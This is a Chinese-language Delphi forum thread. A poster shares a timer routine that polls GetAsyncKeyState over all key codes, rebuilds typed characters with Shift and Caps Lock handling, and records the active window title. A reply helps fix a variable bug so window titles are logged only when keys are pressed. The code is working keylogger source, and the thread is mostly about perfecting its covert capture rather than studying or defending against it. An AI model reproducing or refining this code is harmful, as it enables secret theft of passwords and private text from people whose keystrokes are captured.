临时变量控制问题(100分)

  • 主题发起人 主题发起人 大狗熊
  • 开始时间 开始时间

大狗熊

Unregistered / Unconfirmed
GUEST, unregistred user!
我在写一个程序,遇到的一个问题是
procedure Tw_main.Timer_keyrecTimer(Sender: TObject);
var
i : byte;
begin
for i:=8 To 222 do begin if GetAsyncKeyState(i)=-32767 then begin case i of

8 : {buffer := buffer +'[BACKSPACE]'}buffer:=copy(buffer,0,length(buffer)-1) ;
9 : buffer := buffer + '(TAB)';
//13 : buffer := buffer + #13#10;
//17 : buffer := buffer + '(Ctrl)';
//27 : buffer := buffer + '(ESC)';
32 : buffer := buffer + ' ';
//33 : buffer := buffer + '(Page up)';
//34 : buffer := buffer + '(Page down)';
//35 : buffer := buffer + '(End)';
//36 : buffer := buffer + '(Home)';
//37 : buffer := buffer + '(Left)';
//38 : buffer := buffer + '(Up)';
//39 : buffer := buffer + '(Right)';
//40 : buffer := buffer + '(Down)';
//44 : buffer := buffer + '(Prnt Scrn)';
//45 : buffer := buffer + '(Insert)';
46 : buffer := buffer + '(Delete)';

//145 : buffer := buffer + '(Scroll lock)';
48 : if GetKeyState(VK_SHIFT)<0 then buffer:= buffer+')'
else buffer:= buffer+'0';
49 : if GetKeyState(VK_SHIFT)<0 then buffer:= buffer+'!'
else buffer:= buffer+'1';
50 : if GetKeyState(VK_SHIFT)<0 then buffer:= buffer+'@'
else buffer:= buffer+'2';
51 : if GetKeyState(VK_SHIFT)<0 then buffer:= buffer+'#'
else buffer:= buffer+'3';
52 : if GetKeyState(VK_SHIFT)<0 then buffer:= buffer+'$'
else buffer:= buffer+'4';
53 : if GetKeyState(VK_SHIFT)<0 then buffer:= buffer+'%'
else buffer:= buffer+'5';
54 : if GetKeyState(VK_SHIFT)<0 then buffer:= buffer+'^'
else buffer:= buffer+'6';
55 : if GetKeyState(VK_SHIFT)<0 then buffer:= buffer+'&'
else buffer:= buffer+'7';
56 : if GetKeyState(VK_SHIFT)<0 then buffer:= buffer+'*'
else buffer:= buffer+'8';
57 : if GetKeyState(VK_SHIFT)<0 then buffer:= buffer+'('
else buffer:= buffer+'9';

65..90 :
begin
if ((GetKeyState(VK_CAPITAL))=1) then
if GetKeyState(VK_SHIFT)<0 then
buffer:= buffer+LowerCase(Chr(i))
else
buffer:= buffer+UpperCase(Chr(i))

else
if GetKeyState(VK_SHIFT)<0 then buffer := buffer+UpperCase(Chr(i))
else
buffer:= buffer+LowerCase(Chr(i));
end;
96..105 : buffer:= buffer + inttostr(i-96);
106: buffer:= buffer+'*';
107: buffer:= buffer+'&';
109: buffer:= buffer+'-';
110: buffer:= buffer+'.';
111: buffer:= buffer+'/';
//144 : buffer:= buffer+'[Num Lock]';
//112..123:buffer:= buffer+'[F'+IntToStr(i - 111)+']';
186 : if GetKeyState(VK_SHIFT)<0 then buffer:= buffer+':'
else buffer:= buffer+';';
187 : if GetKeyState(VK_SHIFT)<0 then buffer:= buffer+'+'
else buffer:= buffer+'=';
188 : if GetKeyState(VK_SHIFT)<0 then buffer:= buffer+'<'
else buffer:= buffer+',';
189 : if GetKeyState(VK_SHIFT)<0 then buffer:= buffer+'_'
else buffer:= buffer+'-';
190 : if GetKeyState(VK_SHIFT)<0 then buffer:= buffer+'>'
else buffer:= buffer+'.';
191 : if GetKeyState(VK_SHIFT)<0 then buffer:= buffer+'?'
else buffer:= buffer+'/';
192 : if GetKeyState(VK_SHIFT)<0 then buffer:= buffer+'~'
else buffer:= buffer+'`';
219 : if GetKeyState(VK_SHIFT)<0 then buffer:= buffer+'{'
else buffer:= buffer+'[';
220 : if GetKeyState(VK_SHIFT)<0 then buffer:= buffer+'|'
else buffer:= buffer+'/';
221 : if GetKeyState(VK_SHIFT)<0 then buffer:= buffer+'}'
else buffer:= buffer+']';
222 : if GetKeyState(VK_SHIFT)<0 then buffer:= buffer+'"'
else buffer:= buffer+'''';
end;
end;
end;
begin
ventanaActal:=VentanaActiva;
If (ventanaActal='?') or (ventanaActal='') or (ventanaActal='听') then Exit; //狗熊的注释:有些垃圾窗口会记录,要屏蔽
if (temp<>VentanaActiva) or (temp2='') then buffer:=buffer+ #13#10 + '[' + ventanaActal + ']' + #13#10;

temp:=ventanaActal;
temp2:=buffer;

end;
大家看这里的buffer,造成了切换窗口没有键盘输入的时候它也加入窗口名称
我想让它没有键盘输入的时候不记录
所以用了一个TEMP2,但是TEMP2却总等于buffer,不明白是怎么回事了..应该是一个计数结束后BUFFER值增加啊,但是为什么TEMP2总等于它,弄的我无法加上判断temp2<>buffer才记录这个条件
 
temp2:=buffer;
temp2好像没等于过别的东西吧
 
formcreate里我定义了它等于''
是不是定义错了地方..
这里TEMP2只是一个中间变量,暂时存储BUFFER的值,当键盘记录开始后,BUFFER值应该变化,从而引起TEMP2内存储的BUFFER和增加了键盘记录的BUFFER值的不同,所以两者应该不等,但是这里不知道怎么了,两者怎么始终相等呢
 
...怎么没有几个人回答啊
 
你的for语句从8到222
只要 if GetAsyncKeyState(i)=-32767 then 中任一次为False都会执行到temp2:=buffer;
当最后一个循环(i=222)时,若if GetAsyncKeyState(i)=-32767 then 为False,那么最后temp2肯定等于Buffer.

假如你是想让temp2记录Buffer改变前的值,是否应该改成这样呢:
for i:=8 To 222 do
begin
if GetAsyncKeyState(i)=-32767 then
begin
temp2:=buffer; //添加这里
case i of
.....
end;
end
else
begin
....
if (temp<>VentanaActiva) or (temp2='') then
begin
buffer:=buffer+ #13#10 + '[' + ventanaActal + ']' + #13#10;
//下面两句改为在if语句之内,是否应该这样改就看你的程序需要了
temp:=ventanaActal;
temp2:=buffer;
end;
end;
 
呵呵,谢谢
 
....还是没解决这个问题,问题依旧..
 
自己找到答案了
 
后退
顶部